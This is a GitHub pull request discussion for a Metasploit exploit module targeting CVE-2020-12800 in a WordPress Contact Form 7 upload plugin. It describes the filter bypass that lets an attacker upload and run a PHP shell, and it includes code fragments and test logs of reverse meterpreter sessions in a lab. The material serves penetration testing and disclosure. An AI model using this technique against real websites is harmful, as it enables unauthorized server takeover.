Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Drag and Drop Multiple File Upload – Contact Form 7 pre-auth RCE CVE-2020-12800 #13545

Merged
merged 6 commits into from
Jun 4, 2020

Conversation

h00die
Copy link
Contributor

@h00die h00die commented May 31, 2020

Adds a pre-auth RCE for Wordpress with Drag and Drop Multiple File Upload – Contact Form 7 installed.

Pretty straight forward exploit, append a % on the file extension to bypass the filter, upload a php shell, call it, and call it a day.

@amartinsec wrote in his POC a recursive folder searcher to find the shellcode. I asked them about this, and they mentioned that while there is most likely a known location for the shell, its possible that older versions may have saved files elsewhere. So we trigger the known location, and if no shell is found we backup to the recursive search.

based on the work of @amartinsec

Verification

install vuln plugin (mega link provided) and Contact Form 7 (get it from the wordpress plugin store/search).

  • Start msfconsole
  • use exploits/multi/http/wp_dnd_mul_file_rce
  • set rhosts [ip]
  • Verify you get a shell
  • Document is all good.

@h00die h00die changed the title dnd multi file upload rce Drag and Drop Multiple File Upload – Contact Form 7 pre-auth RCE CVE-2020-12800 May 31, 2020
bcoles
bcoles previously requested changes May 31, 2020
Copy link
Contributor

@bcoles bcoles left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

git mv documentation/modules/exploit/multi/http/wp_dnd_mul_file_rce.rb documentation/modules/exploit/multi/http/wp_dnd_mul_file_rce.md

@h00die h00die requested a review from bcoles May 31, 2020 01:23
modules/exploits/multi/http/wp_dnd_mul_file_rce.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/wp_dnd_mul_file_rce.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/wp_dnd_mul_file_rce.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/wp_dnd_mul_file_rce.rb Outdated Show resolved Hide resolved
Comment on lines 150 to 152
find_payload(normalize_uri(target_uri.path, 'wp-content', 'uploads', '/'), payload_name)
# lastly, if we have a location found, trigger it
if @payload_location
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See comments about find_payload and checking the return value. I haven't looked into how/why you're using recursive searching, but you may need to check the @payload_location variable rather than the return value. It would be nice if the operator received some output if @payload_location is nil, rather than failing silently.

modules/exploits/multi/http/wp_dnd_mul_file_rce.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/wp_dnd_mul_file_rce.rb Outdated Show resolved Hide resolved
@bcoles bcoles dismissed their stale review May 31, 2020 01:35

resolved

@space-r7 space-r7 self-assigned this Jun 1, 2020
@space-r7
Copy link
Contributor

space-r7 commented Jun 2, 2020

Hey @h00die, did you happen to make the requested changes locally? I'm not seeing any additional commits past the file name change.

@h00die
Copy link
Contributor Author

h00die commented Jun 2, 2020

yup, i haven't had a chance to push them up yet, or get to the ones I didn't mark as resolved yet

@h00die
Copy link
Contributor Author

h00die commented Jun 2, 2020

pushed up what i've gotten to

@space-r7
Copy link
Contributor

space-r7 commented Jun 3, 2020

I've tested with Wordpress 5.4.1, and I'm not getting the expected ajax_nonce in the response. Is there any further setup I need to do regarding that?

Did a manual setup on Ubuntu if that's helpful.

msf5 exploit(multi/http/wp_dnd_mul_file_rce) > options

Module options (exploit/multi/http/wp_dnd_mul_file_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.37.135   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of Wordpress
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.37.1     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(multi/http/wp_dnd_mul_file_rce) > check

[*] Checking /wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt
[*] Found version 1.3.3.2 in the plugin
[*] 192.168.37.135:80 - The target appears to be vulnerable.
msf5 exploit(multi/http/wp_dnd_mul_file_rce) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Getting nonce
[-] Exploit aborted due to failure: unexpected-reply: Nonce not found
[*] Exploit completed, but no session was created.

@h00die
Copy link
Contributor Author

h00die commented Jun 3, 2020

Did you install Contact Form 7 and enable it? Typically that's the case

@space-r7
Copy link
Contributor

space-r7 commented Jun 3, 2020

Did you install Contact Form 7 and enable it? Typically that's the case

Oops, I clearly need to read more carefully. Was confused by the name of the plugin. Working now, thanks!

Comment on lines +158 to +171
unless res
fail_with(Failure::Unreachable, 'No server response')
end

# dont need to check for 200, since that would have triggered our payload
if res.code != 200
print_status('Bruteforcing for payload to trigger')
find_payload(normalize_uri(target_uri.path, 'wp-content', 'uploads', '/'), payload_name)
unless @payload_location
fail_with(Failure::Unknown, 'Unable to determine uploaded shell path')
end
# lastly, if we have a location found, trigger it
send_request_cgi('uri' => @payload_location)
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Tested with the latest changes and kept getting this output:

msf5 exploit(multi/http/wp_dnd_mul_file_rce) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Nonce: 739944da12
[+] Payload uploaded successfully
[*] Attempting to trigger at well known location
[*] Sending stage (38288 bytes) to 192.168.37.137
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.137:36722) at 2020-06-04 09:35:43 -0500
[+] Deleted 6rcEb4C8ivQI.php
[-] Exploit aborted due to failure: unreachable: No server response
[*] Exploit completed, but no session was created.

A valid session is still established, but the response is not returning back. Wrapping the highlighted logic in an unless session_created?...end block fixes this. I can go ahead and make that change while landing, as the rest of the code looks fine to me.

@h00die
Copy link
Contributor Author

h00die commented Jun 4, 2020

No issues on my side with that approach

@space-r7
Copy link
Contributor

space-r7 commented Jun 4, 2020

Test output for Wordpress 5.4.1:

msf5 > use exploit/multi/http/wp_dnd_mul_file_rce
msf5 exploit(multi/http/wp_dnd_mul_file_rce) > set rhosts 192.168.37.137
rhosts => 192.168.37.137
msf5 exploit(multi/http/wp_dnd_mul_file_rce) > check
[*] 192.168.37.137:80 - The target appears to be vulnerable.
msf5 exploit(multi/http/wp_dnd_mul_file_rce) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Nonce: 739944da12
[+] Payload uploaded successfully
[*] Attempting to trigger at well known location
[*] Sending stage (38288 bytes) to 192.168.37.137
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.137:37582) at 2020-06-04 10:30:00 -0500
[+] Deleted nSWyUoRUg6xZ.php

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64
Meterpreter : php/linux

space-r7 added a commit that referenced this pull request Jun 4, 2020
@space-r7 space-r7 merged commit 0df1a2a into rapid7:master Jun 4, 2020
@space-r7
Copy link
Contributor

space-r7 commented Jun 4, 2020

Release Notes

This adds an exploit module for the Drag and Drop Multiple File Upload - Contact Form 7 plugin for Wordpress. For versions below 1.3.4, the file upload security filter can be bypassed by appending a % character to a file name, which offers the potential for uploading a PHP shell and executing code on the server pre-authentication. This exploits CVE-2020-12800.

@tperry-r7 tperry-r7 added the rn-modules release notes for new or majorly enhanced modules label Jun 11, 2020
@h00die h00die deleted the dndmfu branch July 21, 2020 23:08
@hackercoolmagz
Copy link

Hi, I am trying this exploit module with wordpress 5.4, drag-and-drop plugin 1.3.3.2 and Contact form plugin 7 version 5.1.9. Both these plugins are activated. Yet while executing the module, the error I am getting is

] Getting nonce
[-] Exploit aborted due to failure: unexpected-reply: Non-200 response, check targeturi
[
] Exploit completed, but no session was created.

Can someone tell me what mistake I am doing.
The check command says the target is vulnerable and all other required options are set.

@h00die
Copy link
Contributor Author

h00die commented Aug 20, 2020

Check your uri is set correctly

@hackercoolmagz
Copy link

hackercoolmagz commented Aug 20, 2020

I checked it. It is /wordpress5.4. This is my uri. I tried it in both linux and wondows targets. The result is same.

@h00die
Copy link
Contributor Author

h00die commented Aug 20, 2020

With out httptrace it's hard to tell about that specific configuration

@hackercoolmagz
Copy link

With out httptrace it's hard to tell about that specific configuration

Here's my httptrace output

msf5 exploit(multi/http/wp_dnd_mul_file_rce) > exploit

[] Started reverse TCP handler on 192.168.36.132:4444
[
] Getting nonce
####################

Request:

####################
GET /wordpress5.4 HTTP/1.1
Host: 192.168.36.148
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded

####################

Response:

####################
HTTP/1.1 301 Moved Permanently
Date: Fri, 21 Aug 2020 05:38:32 GMT
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1g PHP/7.4.6 mod_perl/2.0.8-dev Perl/v5.16.3
Location: http://192.168.36.148/wordpress5.4/
Content-Length: 243
Content-Type: text/html; charset=iso-8859-1

<title>301 Moved Permanently</title>

Moved Permanently

The document has moved here.

[-] Exploit aborted due to failure: unexpected-reply: Non-200 response, check targeturi
[*] Exploit completed, but no session was created.

@h00die
Copy link
Contributor Author

h00die commented Aug 21, 2020

set URI to /wordpress5.4/

Anything else, send me a message on slack to further help.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants